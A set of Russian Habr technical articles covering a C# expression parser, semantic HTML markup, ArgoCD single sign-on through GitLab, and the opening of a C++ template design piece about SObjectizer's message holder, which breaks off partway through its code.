} // Находим последнюю скобку. Так сложно сделано из-за того, что функции могут быть вложенными
char[] buffer = new char[functionEnd - functionStart - 1];
expression.CopyTo(functionStart + 1, buffer, 0, functionEnd - functionStart - 1);
string functionParametrs = new string(buffer);
if (lastFunction == "sqrt"){
var parametrs = GetParametrs(functionParametrs);
symbols.Add(Math.Pow(CalculateExpression(parametrs[0]), 1 / CalculateExpression(parametrs[1])).ToString());
}
if (lastFunction == "log"){
var parametrs = GetParametrs(functionParametrs);
symbols.Add(Math.Log(CalculateExpression(parametrs[0]), CalculateExpression(parametrs[1])).ToString());
}
if (lastFunction == "sin") symbols.Add(Math.Sin(CalculateExpression(functionParametrs)).ToString());
if (lastFunction == "cos") symbols.Add(Math.Cos(CalculateExpression(functionParametrs)).ToString());
if (lastFunction == "abs") symbols.Add(Math.Abs(CalculateExpression(functionParametrs)).ToString());
// Рассчитываем функцию рекурсивно
lastFunction = "";
}
}
}
if (lastSymbol != ""){
symbols.Add(lastSymbol);
lastSymbol = "";
} // Если последним символом была цифра, не забываем его добавить в список
```
В примере проскакивала функция GetParametrs. Она нужна для случаев, когда функция имеет 2 параметра. Дело в том, что нельзя сделать простой Split. У нас может быть такое выражение:
```
public static List GetParametrs(string functionParametrs){
int bracketsSum = 0;
int functionEnd = 0;
for (int j = 0; j < functionParametrs.Length; j++){
if (functionParametrs[j].ToString() == "(") bracketsSum++;
if (functionParametrs[j].ToString() == ")") bracketsSum--;
if (functionParametrs[j].ToString() == ";" && bracketsSum == 0){
functionEnd = j;
break;
}
}
var buffer = new char[functionEnd];
functionParametrs.CopyTo(0, buffer, 0, functionEnd);
string firstParametr = new string(buffer);
buffer = new char[functionParametrs.Length - functionEnd - 1];
functionParametrs.CopyTo(functionEnd + 1, buffer, 0, functionParametrs.Length - functionEnd - 1);
string secondParametr = new string(buffer);
return ( new List() { firstParametr, secondParametr } );
}
```
Итак, выражение разбито на более мелкие, и кроме того, значения функций уже вычислены и подставлены в основное выражение как числа.
Скобки можно обработать по тому же принципу — сразу рассчитывать их и подставлять их как числа:
```
while (symbols.Contains("(")) {
int bracketsStart = 0;
int bracketsEnd = 0;
int bracketsSum = 0;
for (int i = 0; i < symbols.Count; i++) {
if (symbols[i] == "(") {
bracketsStart = i;
bracketsSum = 1;
break;
}
}
for (int i = bracketsStart + 1; i < symbols.Count; i++) {
if (symbols[i] == "(") bracketsSum++;
if (symbols[i] == ")") bracketsSum--;
if (bracketsSum == 0) {
bracketsEnd = i;
break;
}
}
string bracketsExpression = "";
for (int i = bracketsStart + 1; i < bracketsEnd; i++) bracketsExpression += symbols[i];
symbols[bracketsStart] = CalculateExpression(bracketsExpression).ToString();
symbols.RemoveRange(bracketsStart + 1, bracketsEnd - bracketsStart);
}
```
С нахождением индекса закрывающейся скобки опять все немного сложнее. Нельзя просто взять следующую закрывающуюся скобку. Это не сработает для вложенных скобок.
Основная часть программы написана. Осталось реализовать расчет обычных арифметических выражений. Чтобы не париться с порядком выполнения действий, я решил записывать выражение в польской нотации:
```
foreach(var j in operands){ // Порядок выполнения операций зависит от порядка расположения знаков в массиве operands
var flagO = true;
while (flagO){
flagO = false;
for (int i = 0; i < symbols.Count; i++){
if (symbols[i] == j){
symbols[i - 1] = symbols[i - 1] + " " + symbols[i + 1] + " " + j;
symbols.RemoveRange(i, 2);
flagO = true;
break;
}
}
}
}
```
Ну и наконец, стеком рассчитываем значение выражения:
```
List result = new List();
string[] temp = symbols[0].Split(' ');
for (int i = 0; i < temp.Length; i++) {
if (operands.Contains(temp[i])) {
if (temp[i] == "^") {
result[result.Count - 2] = Math.Pow(double.Parse(result[result.Count - 2]), double.Parse(result[result.Count - 1])).ToString();
result.RemoveRange(result.Count - 1, 1);
}
if (temp[i] == "+") {
result[result.Count - 2] = (double.Parse(result[result.Count - 2]) + double.Parse(result[result.Count - 1])).ToString();
result.RemoveRange(result.Count - 1, 1);
}
if (temp[i] == "-") {
result[result.Count - 2] = (double.Parse(result[result.Count - 2]) - double.Parse(result[result.Count - 1])).ToString();
result.RemoveRange(result.Count - 1, 1);
}
if (temp[i] == "\*") {
result[result.Count - 2] = (double.Parse(result[result.Count - 2]) \* double.Parse(result[result.Count - 1])).ToString();
result.RemoveRange(result.Count - 1, 1);
}
if (temp[i] == "/") {
result[result.Count - 2] = (double.Parse(result[result.Count - 2]) / double.Parse(result[result.Count - 1])).ToString();
result.RemoveRange(result.Count - 1, 1);
}
}
else result.Add(temp[i]);
}
```
Если всё прошло хорошо, в result[0] будет лежать результат.
→ [Ссылка](https://github.com/Limpich/-arithmeticParser) на GitHub с полным кодом | https://habr.com/ru/post/439966/ | null | ru | null |
# Как правильно верстать в 2022 году. Часть 1
Вступление
----------
Меня зовут Николай и я Frontend-разработчик в логистическом стартапе Relog. Хочу рассказать о самых распространённых ошибках в вёрстке современных проектов.
Дело в том, что лишь малая часть современных фронтендеров обращает внимание на работу с HTML и CSS, предпочитая готовые решения, вроде UI-библиотек и систем сеток. Но эти решения неидеальные и приходится дописывать обёртки вокруг них, видоизменять код, переписывать стили и совершать прочие действия для соответствия требованиям проекта. Тут-то и начинаются проблемы: вёрстка местами становится избыточной, стили переназначются через important и с каждым релизом проект всё сложней поддерживать. Я уже не говорю об удобстве использования и доступности. Об этом думают вообще в последнюю очередь.
В этой статье я расскажу лишь о небольшой части проблем, которые можно достаточно быстро решить, не прибегая к радикальному переписыванию больших частей проекта.
Содержание
----------
**Используйте правильные теги.**
Как правильно вкладывать теги друг в друга.
Работа с медиаконтентом.
Пишем таблицы на HTML правильно.
`a` или `button`? Работа с интерактивными элементами и как выбрать правильный тег.
Различный теги для медиа-контента.
Прекратите писать велосипеды! Как мы можем стилизовать дефолтные HTML-элементы.
Пишем доступные формы.
Избыточная вёрстка. Как облегчить разметку.
Современные фишки HTML и CSS способные облегчить нам жизнь.
Экспериментальные технологии, входящие в стандарт.
Используйте правильные теги
---------------------------
Исторически так сложилось, что HTML служит для описания документов. То есть язык гипертекстовой разметки был придуман для обмена документами (в основном научного характера) и не предназначался для построения сложных веб-приложений и сайтов. Благодаря развитию стандарта стало полегче, но большинство современных разработчиков всё ещё предпочитают в качестве главного тега и засовывают в него любой контент, вплоть до изображений (через background-image). И я прекрасно их понимаю, — очень удобный тег: у него нет встроенных стилей, его можно вкладывать в другие дивы. Чем не кандидат на лучший тег. Но при таком использовании тегов мы теряем главные преимущества HTML:
* семантику — чёткую структуру контента, где каждый тег говорит о том, зачем он здесь и что ожидается внутри;
* доступность — HTML может рендериться не только браузером, но и другими инструментами, вроде скрин-ридеров, роботов-поисковиков и т.д. И в наших силах упростить для них парсинг страниц.
Про какие теги нам следует стоит помнить?
Структурные теги документа
--------------------------
Почти любой сайт или приложение можно разбить на 3 большие части: , и . Сейчас это стало неким стандартом в дизайне. Некоторые части приложения повторяются от страницы к странице, и мы можем выделить их в отдельные части (шапку и подвал).
Шапка — это контент вверху страницы. Там обычно размещается логотип, навигационное меню и другие элементы, которые должны быть доступны пользователю с любой страницы. Тег не обязательно один на странице, он может озаглавливать любую независимую часть (например, быть частью модального окна).
Подвал — нижняя часть сайта, где обычно дублируется навигация и располагаются контакты компании. Также, как и шапка, может быть не один и использоваться для других независимых частей, помимо страницы.
Тег обычно обозначает место для основного контента, который не повторяется от страницы к странице.
**Плохо**
```
...
...
...
```
**Хорошо**
```
...
...
...
```
Помимо трёх базовых семантических тегов существует ряд других. Разберём их ниже.
Это независимый блок на странице, который без внешнего контекста может существовать в рамках других сайтов и сервисов. Это может быть статья в блоге, твит, виджет VK, коментарий к публикации и т.д. Желательно, чтобы у этого блока был заголовок.
Неотделяемая от основного контента секция на странице. Например, это может быть блок на лендинге. Чаще всего имеет заголовок.
Побочный, косвенный контент на странице, находящийся в стороне. Может иметь заголовок и быть не в одном экземпляре. Главная ошибка — использовать его только для боковой панели. Этот тег многогранен и может использоваться для любых блоков, не имеющих основное значение.
Блок навигации с ссылками на другие страницы или разделы текущей страницы. Может использоваться только для основной навигации, а не для каждой группы ссылок. Например навигацию в не имеет смысла упаковывать в , так как подвал сам по себе предполагает присутствие навигационных элементов. И этот тег не обязательно должен включать в себя список ссылок. Туда может входить навигация любого типа, главное, чтобы она считалась основной.
В этот тег нужно вкладывать контактные данные. У него по-особенному работает «область видимости» — контактные данные в относятся к ближайшему родительскому блоку , либо к , если он находится вне .
Заголовки
---------
Как и в любом документе на HTML-странице могут содержаться заголовки. По стандарту мы обязаны всегда указывать заголовок первого уровня . Остальные уровни опциональны, но они должны быть в иерархической последовательности! Это значит, что мы не можем `###` поставить после . Чтобы лучше это понять, посмотрим код ниже:
```
...
Наша кондитерская самая кондитерская из всех кондитерских
==========================================================
...
Почему наши булочки лучшие?
----------------------------
...
### Мука высочайшего сорта
...
### Много корицы
...
#### Корица со Шри-Ланки
...
### Минимум сахара
...
####
...
```
Как вы видите, заголовки выстраиваются в иерархию и идут один за одним, формируя логичную структуру.
По поводу использования нескольких заголовков : вы МОЖЕТЕ использовать несколько заголовков первого уровня, если это требуется на странице. Когда-то давно некоторые злые SEO-специалисты настоятельно не рекомендовали так делать, хотя спецификация ничего не говорит на этот счёт. Сейчас мы, конечно, не узнаем действительно ли поисковики снижали сайт в выдаче за использование двух и более заголовков первого уровня, но уже даже многие SEOшники признали, что этот фактор малозначителен при ранжировании сайтов.
Блочные теги
------------
Простой тег для абзацев, именно для разделения текстовых частей. Не используйте для коротких фраз внутри интерфейса. С точки зрения доступности, этот тег очень крут, дает пользователям с ограниченными возможностями «прыгать» между ними с помощью шорткатов.
**и**
Это иллюстрация с необязательной подписью. Во многих книгах изображения подписываются как *«Рис. 1 — такой-то объект»*. Вот это и есть . Но в рамках HTML назначение этого тега гораздо шире. Мы можем разместить внутри цитату (см. ниже), фрагмент кода, какую-нибудь диаграмму. В общем — это любой объект с подписью. Подпись размещается внутри тега , который, в свою очередь, вкладывается в .
```
Кот, который зол на своего хозяина
```
Тег для вставки длинных цитат. Может иметь аттрибут `cite`, в котором указывается URL на источник цитаты, а также хорошо совместим с тегом , где в можно указать автора и название источника.
```
Just Do It!
Shia LaBeouf, Motivational Speech
```
`---`
Одиночный тег для разделения контента. Про него забывают и заменяют на `border-bottom`, но помимо визуального отображения этот тег несёт семантический смысл — тематическое разделение абзацев.
Тег для вывода предварительно отформатированного текста. Имеет ограниченную область использования — ASCII-арт, вывод программного кода. Не рекомендую использовать для других задач, так как тег довольно ненадёжен и непредсказуем. Например, мы потеряем всё форматирование, если сборщик проекта минифицирует HTML.
Списки
------
Списки в вебе просто везде! Но очень редко их верстают как списки. Например, преимущества компании на лендинге это что? Правильно, список. Они бывают двух видов: упорядоченные и неупорядоченные. Я в этот раздел также добавил список описаний *Description list*.
Неупорядоченный список применяется в том случае, если мы безболезненно можем поменять порядок элементов. Примеры:
* cписок ингредиентов для рецепта;
* преимущества компании;
* партнёры компании.
```
* Удобная оплата
* Быстрая доставка
* Гарантия в 1 год
```
Упорядоченный список применяется тогда, когда нам важен порядок элементов. Например:
* пошаговая инструкция;
* этапы работы.
```
1. Оформляете заявку
2. С вами связывается менеджер для уточнения деталей
3. Совершаете оплату
4. Ожидаете доставку
```
**,** **,**
Списки описаний применяются для формирования списков терминов.
```
HTML
Язык разметки гипертекста, с помощью которого формируют контент веб-страницы
CSS
Язык для описания стилей веб-страницы
JS
Язык программирования, часто применяемый для написания веб-приложений
```
Строчные теги
-------------
**,** **,** **,**
Чудесные теги, которые чаще всего используют не по назначению. Они несут исключительно визуальное выделение текста. Если вы сбросите их стили, то они ничем не будут отличаться от обычного текста. В данный момент их можно использовать как теги для дополнительного выделения текста, которое вы оформите с помощью CSS. И да, тег *НЕ предназначен для иконок.*
Как и выделяет текст курсивом. Но зачем нам два тега для одного и того же? В том то и дело, что они разные. , как говорилось выше, не несёт никакого семантического смысла, это просто визуальное выделение, а делает акцент на обёрнутом им тексте, который меняет смысл всего предложения. Например:
```
Я *просто обожаю* , когда верстальщики используют только дивы.
```
Браузер выделяет текст обёрнутый тегом полужирным. Но помимо визуального выделения, текст обретает семантический смысл — б*о*льшую важность по сравнению с остальным текстом вокруг.
**и**
Оба тега связаны с цитирований, но применяются в разных случаях. — тег, в который мы оборачиваем текст, который отсылается к другому документу/произведению/etc.
```
Больше информации вы сможете найти в стандарте [ISO-0000]
```
похож на , разница лишь в том, что применяется для строчных цитат.
```
Рубль растёт к доллару и евро
— сообщает RT со ссылкой на ФАН.
```
Применяется для оформления программного кода внутри текста. Если требуется вывести многострочный блок кода, то лучше использовать `в связке с тегом .`
Тег для обозначения даты и времени. У него может быть атрибут datetime, куда необходимо передать дату и время в формате ISO.
```
24 ноября 1995 года
```
**и**
Используются для добавления в текст индексов и степеней. Удобны для описания формул.
```
x1 + x2 = y2
```
**и**
Нужны, чтобы показать, что из текста было что-то удалено или добавлено. При этом они также обозначают факт изменения текста семантически, а не только визуально.
```
Вася пришёл домой в
~~19:00~~
23:00
```
Простой тег для переноса строки, думаю, все про него знают, потому что альтернативы нет.
Интерактивные элементы
----------------------
Нативный дропдаун прямо в HTML! На самом деле не совсем так. применяется, чтобы скрыть часть информации, которую можно получить, кликнув по кнопке, описанной во внутреннем теге .
```
Рубль растет на фоне заявлений Запада о введении санкций против России
Подробнее
Согласно данным валютных торгов на Московской бирже, по состоянию
на 22.40 мск курс доллара находился на уровне 78,7 рубля (-1,6%),
курс евро снижался до 89,3 рубля (-0,9%).
```
**Внимание! Данный тег не поддерживается IE и старыми версиями основных браузеров.**
Другие интересные теги
----------------------
Тег для аббревиатур.
```
HTML — основной язык разметки веб-приложений
```
Тег для выделения термина. Элемент, пара / или , который является ближайшим предком считается определением термина.
```
JavaScript — язык программирования,
используемый в основных веб-браузерах.
```
Используется для выделения названия клавиш в клавиатурных сочетаниях.
```
Чтобы открыть диспечер задач, нажмите сочетание клавиш
`Ctrl`+`Shift`+`Esc`.
```
Тег для обозначения вывода компьютерной программы. По-умолчанию выводится моноширинным шрифтом.
```
Приложение упало с ошибкой:
`404 Неизвестный ресурс`
```
Элемент для вывода математических переменных
```
Для рассчёта расстояния S, необходимо
перемножить скорость V на время t.
```
**и**
Теги, связанные с направлением текста ltr и rtl. Необходимы, когда мы встраиваем в текст, написанный языком в одном направлении, фразу или предложение написанное в другом.
изолирует от окружающего текста фрагмент, который может поменять направление (но не обязательно поменяет).
в свою очередь, переопределяет направление текста так, что текст внутри тега отображается в другом направлении, нежели чем окружающий.
```
Это арабское слово будет перевёрнуто.
```
Элемент, выделенный по причине его актуальности в определённом контексте. Чаще всего используется для выделения ключевых фраз, введенных пользователем, в результатах поиска. По умолчанию, на текст внутри этого тега применяется жёлтый фон.
Современный компонет, который может показывать шкалу с наполнением разного цвета, в зависимости от указанных значений. Используется преимущественно для отображения числовых значений, например, количества результатов поиска, объема жидкости, давления и др.
Имеет следующие аттрибуты:
* `min` — минимальное значение шкалы;
* `max` — максимальное значение шкалы;
* `low` — предел, при достижении которого, значение считается низким;
* `optimum` — предел, при достижении которого, значение считается оптимальным;
* `high` — предел, при достижении которого, значение считается высоким;
* `value` — собственно само значение.
```
Температура воды
Низкая
Нормальная
Горячая
Кипяток
```
Текст внутри является фолбэком для браузеров, которые не поддерживают этот тег.
Тег для отображения индикатора, показывающего ход выполнения задачи. По простому — прогресс-бар.
```
70%
```
Одиночный тег, указывающий, в каком месте можно переносить цельную строку. Является аналогом символа ``, с той лишь разницей, что не добавляет символ переноса в конце строки.
**,** **,**
Теги, в основном используемые для иероглифов. Не вижу смысла подробно их разбирать. Если интересно, можно почитать [здесь](https://developer.mozilla.org/ru/docs/Web/HTML/Element/ruby).
, , и прочая эзотерика
-----------------------
Просто забудьте об этих тегах. Стандарт говорит, что они больше не поддерживаются и не рекомендует их использовать. Полный список [здесь](https://developer.mozilla.org/en-US/docs/Web/HTML/Element#obsolete_and_deprecated_elements).
Заключение части 1
------------------
В этой статье ничего не сказано про элементы форм, таблицы, всякий медиа-контент, а также теги и . Об этом в следующих публикациях.
Также, я ничего не сказал по и , которые являются базовыми элементами для вёрстки. Их стоит использовать только в том случае, когда ничто из вышеперечисленного не подошло. | https://habr.com/ru/post/655009/ | null | ru | null |
# Настройка аутентификации SSO ArgoCD через Gitlab CI/CD
Многие компании при внедрении практик gitops выбирают такой инструмент как ArgoCD и сталкиваются с проблемой заведения учетных записей и разграничением прав пользователей. В этой статье мы рассмотрим как настроить авторизацию в ArgoCD через Gitlab CI/CD с разграничением прав по группам.
Предлагаем пройти этот непростой путь по шагам и тогда он станет для вас простым.
Итак, argocd уже установлен и настроен в вашем кластере.
### Шаг № 1. Регистрация приложения
В веб интерфейсе нашего Gitlab переходим Menu → Admin → Applications и жмем «New application».
В GitLab зарегистрируйте новое приложение. Адрес обратного вызова должен заканчиваться на https://адрес\_вашего\_арго/api/dex/callback (например https://argocd.example.com/api/dex/callback).
Необходимые разрешения для работы `read_user` и `open_id`.
После регистрации приложения вы получите идентификатор приложения и секрет OAuth2. Эти значения будут использованы в конфигмапе Argo CD.
### Шаг № 2. Внесение данных
Внесем полученный `secret` приложения в `secret` с названием `argocd-secret`.
Для внесения данных в сущность Secret необходимо сначала перевести нашу строку в base64.
Для этого выполним команду на своем ПК
`echo "a5ea922ec71954491e96f42c96999fdd2d9c3d8a1613dc3ef15460cadc7000a0" | base64 —wrap=0`
или можно воспользоваться онлайн сервисом (например <https://www.base64encode.org/>).
Получим в нашем случае такой вывод:
`YTVlYTkyMmVjNzE5NTQ0OTFlOTZmNDJjOTY5OTlmZGQyZDljM2Q4YTE2MTNkYzNlZjE1NDYwY2FkYzcwMDBhMAo=`
Теперь мы готовы внести нашу строку. Выполним команду в нашем кластере:
`kubectl edit secret -n argocd argocd-secret`
И добавим после `data`:
```
apiVersion: v1
data:
gitlab.clientSecret: YTVlYTkyMmVjNzE5NTQ0OTFlOTZmNDJjOTY5OTlmZGQyZDljM2Q4YTE2MTNkYzNlZjE1NDYwY2FkYzcwMDBhMAo=
```
И сохраняем изменения.
### Шаг № 3. Правка кофигмапа ArgoCD
Для изменения конфигмапа ArgoCD вводим команду:
`kubectl edit configmap argocd-cm -n argocd`
После data вводим следующий текст:
```
data:
dex.config: |
connectors:
- type: gitlab
id: ArgoCD
name: GitLab
config:
baseURL: https://gitlab.example.com
clientID: 8e3a97699cae1c2bce88d871d02e32e53bc473f6ecd437464d9ed27d7f5f1f2d
clientSecret: $gitlab.clientSecret
url: https://argocd.example.com/
```
где:
* `id: ArgoCD` — название нашего приложения.
* `name: Gitlab` — название кнопки авторизации через SSO на странице https://argocd.example.com/.
* `baseURL: https://gitlab.example.com` — адрес нашего gitlab.
* `clientID: 8e3a97699cae1c2bce88d871d02e32e53bc473f6ecd437464d9ed27d7f5f1f2d` **—** id нашего приложения в Gitlab.
* `clientSecret: $gitlab.clientSecret` — secret который мы добавляли в Secret с названием argocd-secret.
* `url: https://argocd.example.com/` - веб адрес ArgoCD.
### Шаг № 4. Настройка прав публикаций
Авторизуясь через SSO argocd наследует группы от учетной записи в гитлабе. Следовательно для разграничения прав необходимо назначать группы пользователям в Гитлаб.
Создайте группу в гитлаб к примеру devops и добавьте туда своего пользователя.
Унаследование прав в ArgoCD осуществляется через конфигмап argocd-rbac-cm.
В ArgoCD по умолчанию есть две группы с ролью admin и readonly. Как вы уже догадались роль admin предоставляет полные права, readonly только на чтение. Ниже приведен пример конфига который по умолчанию дает доступ на чтение всем, группе devops — все права так как назначена роль admin и группе gitlab разрешение на чтение, создание, удаление репозитория, чтение кластера, все действия над applications.
Для редактирования прав введем команду:
`kubectl edit configmap argocd-rbac-cm -n argocd`
И после `data:` добавим:
```
apiVersion: v1
data:
policy.csv: |
p, role:org-admin, applications, *, */*, allow
p, role:org-admin, clusters, get, *, allow
p, role:org-admin, repositories, get, *, allow
p, role:org-admin, repositories, create, *, allow
p, role:org-admin, repositories, update, *, allow
p, role:org-admin, repositories, delete, *, allow
g, devops, role:admin
g, gitlab, role:org-admin
policy.default: role:readonly
```
Сохраняем изменения, ждем пару минут и пробуем авторизоваться.
Жмем login in via gitlab….после чего нас перекинет на старницу авторизации Gitlab. Вводим логин и пароль от Gitlab.
после чего мы должны успешно авторизоваться на argocd.
Перейдя на вкладку User info можно увидеть в каких группах состоит наш пользователь….эти группы подтягиваются из Gitlab.
Поздравляем! Вы получили авторизацию в ArgoCD через Gitlab CI/CD с разграничением прав по группам. | https://habr.com/ru/post/659137/ | null | ru | null |
# С сожалением об отсутствии в C++ полноценного static if или…
**… как наполнить шаблонный класс разным содержимым в зависимости от значений параметров шаблона?**
Когда-то, уже довольно давно, язык D начали делать как "правильный C++" с учетом накопившегося в C++ опыта. Со временем D стал не менее сложным и более выразительным языком, чем C++. И уже C++ стал подсматривать за D. Например, появившийся в C++17 `if constexpr`, на мой взгляд, — это прямое заимствование из D, прототипом которому послужил [D-шный static if](https://dlang.org/spec/version.html#staticif).
К моему сожалению, `if constexpr` в С++ не обладает такой же мощью, как `static if` в D. Тому есть [свои причины](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2013/n3613.pdf), но все-таки бывают случаи, когда остается только пожалеть, что `if constexpr` в C++ не позволяет управлять наполнением C++ного класса. Об одном из таких случаев и хочется поговорить.
Речь пойдет о том, как сделать шаблонный класс, содержимое которого (т.е. состав методов и логика работы некоторых из методов) менялось бы в зависимости от того, какие параметры были переданы этому шаблонному классу. Пример взят из реальной жизни, из опыта разработки [новой версии SObjectizer-а](https://bitbucket.org/sobjectizerteam/sobjectizer/wiki/so-5.6-docs/history/v.5.6.0.md).
Задача, которую требуется решить
================================
Требуется создать хитрый вариант "умного указателя" для хранения объектов-сообщений. Чтобы можно было написать что-то вроде:
```
message_holder_t msg{ new my\_message{...} };
send(target, msg);
send(another\_target, msg);
```
Хитрость этого класса `message_holder_t` в том, что нужно учесть три важных фактора.
От чего отнаследован тип сообщения?
-----------------------------------
Типы сообщений, которыми параметризуется `message_holder_t`, делятся на две группы. Первая группа — это сообщения, которые наследуются от специального базового типа `message_t`. Например:
```
struct so5_message final : public so_5::message_t {
int a_;
std::string b_;
std::chrono::milliseconds c_;
so5_message(int a, std::string b, std::chrono::milliseconds c)
: a_{a}, b_{std::move(b)}, c_{c}
{}
};
```
В этом случае message\_holder\_t внутри себя должен содержать только указатель на объект этого типа. Этот же указатель должен возвращаться в методах-getter-ах. Т.е., для случая наследника от `message_t` должно быть что-то вроде:
```
template
class message\_holder\_t {
intrusive\_ptr\_t m\_msg;
public:
...
const M \* get() const noexcept { return m\_msg.get(); }
};
```
Вторая группа — это сообщения произвольных пользовательских типов, которые не наследуются от `message_t`. Например:
```
struct user_message final {
int a_;
std::string b_;
std::chrono::milliseconds c_;
user_message(int a, std::string b, std::chrono::milliseconds c)
: a_{a}, b_{std::move(b)}, c_{c}
{}
};
```
Экземпляры таких типов в SObjectizer-е отсылаются не сами по себе, а заключенными в специальную обертку `user_type_message_t`, которая уже наследуется от `message_t`. Поэтому для таких типов `message_holder_t` должен содержать внутри себя указатель на `user_type_message_t`, а методы-getter-ы должны возвращать указатель на M:
```
template
class message\_holder\_t {
intrusive\_ptr\_t> m\_msg;
public:
...
const M \* get() const noexcept { return std::addressof(m\_msg->m\_payload); }
};
```
Иммутабельность или мутабельность сообщений
-------------------------------------------
Второй фактор — это деление сообщений на неизменяемые (immutable) и изменяемые (mutable). Если сообщение неизменяемое (а по умолчанию оно неизменяемое), то методы-getter-ы должны возвращать константный указатель на сообщение. А если изменяемое, то getter-ы должны возвращать не константный указатель. Т.е. должно быть что-то вроде:
```
message_holder_t msg1{...}; // Неизменяемое сообщение.
const int a = msg1->a\_; // OK.
msg1->a\_ = 0; // ТУТ ДОЛЖНА БЫТЬ ОШИБКА КОМПИЛЯЦИИ!
message\_holder\_t> msg2{...}; // Изменяемое сообщение.
const int a = msg2->a\_; // OK.
msg2->a\_ = 0; // OK.
```
shared\_ptr vs unique\_ptr
--------------------------
Третий фактор — это логика поведения `message_holder_t` как умного указателя. Когда-то он должен вести себя как `std::shared_ptr`, т.е. можно иметь несколько message\_holder-ов, ссылающихся на один и тот же экземпляр сообщения. А когда-то он должен вести себя как `std::unique_ptr`, т.е. только один экземпляр message\_holder-а может ссылаться на экземпляр сообщения.
По умолчанию, поведение `message_holder_t` должно зависеть от изменяемости/неизменяемости сообщения. Т.е. с неизменяемыми сообщениями `message_holder_t` должен вести себя как `std::shared_ptr`, а с изменяемыми, как `std::unique_ptr`:
```
message_holder_t msg1{...};
message\_holder\_t msg2 = msg; // OK.
message\_holder\_t> msg3{...};
message\_holder\_t> msg4 = msg3; // БУМС! Так нельзя!
message\_holder\_t> msg5 = std::move(msg3); // OK.
```
Но жизнь штука сложная, поэтому нужно иметь еще и возможность вручную задать поведение `message_holder_t`. Чтобы можно было сделать message\_holder-а для иммутабельного сообщения, который ведет себя как unique\_ptr. И чтобы можно было сделать message\_holder-а для изменяемого сообщения, который ведет себя как shared\_ptr:
```
using unique_so5_message = so_5::message_holder_t<
so5_message,
so_5::message_ownership_t::unique>;
unique_so5_message msg1{...};
unique_so5_message msg2 = msg1; // БУМС! Так нельзя!
unique_so5_message msg3 = std::move(msg); // OK, сообщение в msg3.
using shared_user_messsage = so_5::message_holder_t<
so_5::mutable_msg,
so\_5::message\_ownership\_t::shared>;
shared\_user\_message msg4{...};
shared\_user\_message msg5 = msg4; // OK.
```
Соответственно, когда `message_holder_t` работает как shared\_ptr, у него должен быть обычный набор конструкторов и операторов присваивания: и копирования, и перемещения. Кроме того, должен быть константный метод `make_reference`, который возвращает копию хранящегося внутри `message_holder_t` указателя.
А вот когда `message_holder_t` работает как unique\_ptr, то конструктор и оператор копирования у него должны быть запрещены. А метод `make_reference` должен *изымать* указатель у объекта `message_holder_t`: после вызова `make_reference` исходный `message_holder_t` должен остаться пустым.
Чуть более формально
--------------------
Итак, нужно создать шаблонный класс:
```
template<
typename M,
message_ownership_t Ownership = message_ownership_t::autodetected>
class message_holder_t {...};
```
у которого:
* внутри должен храниться `intrusive_ptr_t` или `intrusive_ptr>` в зависимости от того, наследуется ли M от `message_t`;
* методы-getter-ы должны возвращать либо `const M*`, либо `M*` в зависимости от изменяемости/неизменяемости сообщения;
* должен быть либо полный набор конструкторов и операторов копирования/перемещения, либо только конструктор и оператор перемещения;
* метод `make_reference()` должен либо возвращать копию хранимого intrusive\_ptr, либо должен изымать значение intrusive\_ptr и оставлять исходный `message_holder_t` в пустом состоянии. В первом случае `make_reference()` должен быть константным, во втором — неконстантным методом.
Последние два пункта из перечня определяются параметром Ownership (а также мутабельностью сообщения, если для Ownership используется значение `autodetected`).
Как это было решено
===================
В данном разделе мы рассмотрим все составляющие, из которых получилось итоговое решение. Ну и само результирующее решение. Будут показаны максимально очищенные от всех отвлекающих внимание деталей фрагменты кода. Если кого-то интересует реальный код, то увидеть его можно [здесь](https://bitbucket.org/sobjectizerteam/sobjectizer/src/default/dev/so_5/message_holder.hpp).
Disclaimer
----------
Показанное ниже решение не претендует на красоту, идеальность или образец для подражания. Оно было найдено, реализовано, протестировано и задокументированно за небольшое время, под давлением сроков. Возможно, если бы времени было больше, и поиском решения занимался более ~~молодой,~~ толковый и сведующий в современном C++ разработчик, то оно получилось бы компактнее, проще и понятнее. Но, как получилось, так и получилось… "Don't shoot the pianist", в общем.
Последовательность шагов и уже готовая шаблонная магия
------------------------------------------------------
Итак, нам нужно иметь класс с несколькими наборами методов. Содержимое этих наборов должно откуда-то взяться. Откуда?
В языке D мы могли бы воспользоваться `static if` и определить разные части класса в зависимости от разных условий. В каком-нибудь Ruby мы могли бы [подмешать методы в свой класс посредством метода include](https://ruby-doc.com/docs/ProgrammingRuby/html/tut_modules.html). Но мы в C++, в котором пока наши возможности сильно ограничены: мы можем либо определить метод/атрибут прямо внутри класса, либо можем унаследовать метод/атрибут из какого-то базового класса.
Определить разные методы/атрибуты внутри класса в зависимости от какого-то условия мы не можем, т.к. C++ный `if constexpr` — это не D-шный `static if`. Следовательно, остается только наследование.
> **Upd.** Как мне подсказали в комментариях, тут следует высказаться более осторожно. Поскольку в C++ есть SFINAE, то мы посредством SFINAE можем включать/выключать видимость отдельных методов в классе (т.е. достигать эффекта, аналогичного `static if`-у). Но у такого подхода есть два серьезных, на мой взгляд, недостатка. Во-первых, если таких методов не 1-2-3, а 4-5 или больше, то оформлять каждый из них посредством SFINAE утомительно, да и на читабельности кода это сказывается. Во-вторых, SFINAE не помогает нам добавлять/изымать атрибуты (поля) класса.
В C++ мы можем определить несколько базовых классов, от которых мы затем отнаследуем `message_holder_t`. А выбор того или иного базового класса уже будем делать в зависимости от значений параметров шаблона, посредством [std::conditional](https://en.cppreference.com/w/cpp/types/conditional).
Но фокус в том, что нам потребуется не просто набор базовых классов, а небольшая цепочка наследования. В ее начале будет класс, который будет определять общую функциональность, которая потребуется в любом случае. Далее будут базовые классы, которые будут определять логику поведения "умного указателя". А уже затем будет класс, который определит нужные getter-ы. В таком порядке мы и рассмотрим реализованные классы.
Нашу задачу упрощает то, что в SObjectizer-е уже есть готовая шаблонная магия, [которая определяет, наследуется ли сообщение от message\_t](https://bitbucket.org/sobjectizerteam/sobjectizer/src/7b28c9224c820f39d4e0e372a5b9525ee95677ef/dev/so_5/message.hpp#lines-799:811), а также [средства для проверки мутабельности сообщений](https://bitbucket.org/sobjectizerteam/sobjectizer/src/7b28c9224c820f39d4e0e372a5b9525ee95677ef/dev/so_5/message.hpp#lines-415:446). Поэтому в реализации мы эту готовую магию будем просто использовать и не станем погружаться в детали ее работы.
Общая база для хранения указателя
---------------------------------
Начнем с общего базового типа, который хранит соответствующий intrusive\_ptr, а также предоставляет общий набор методов, которые нужны любой из реализаций `message_holder_t`:
```
template< typename Payload, typename Envelope >
class basic_message_holder_impl_t
{
protected :
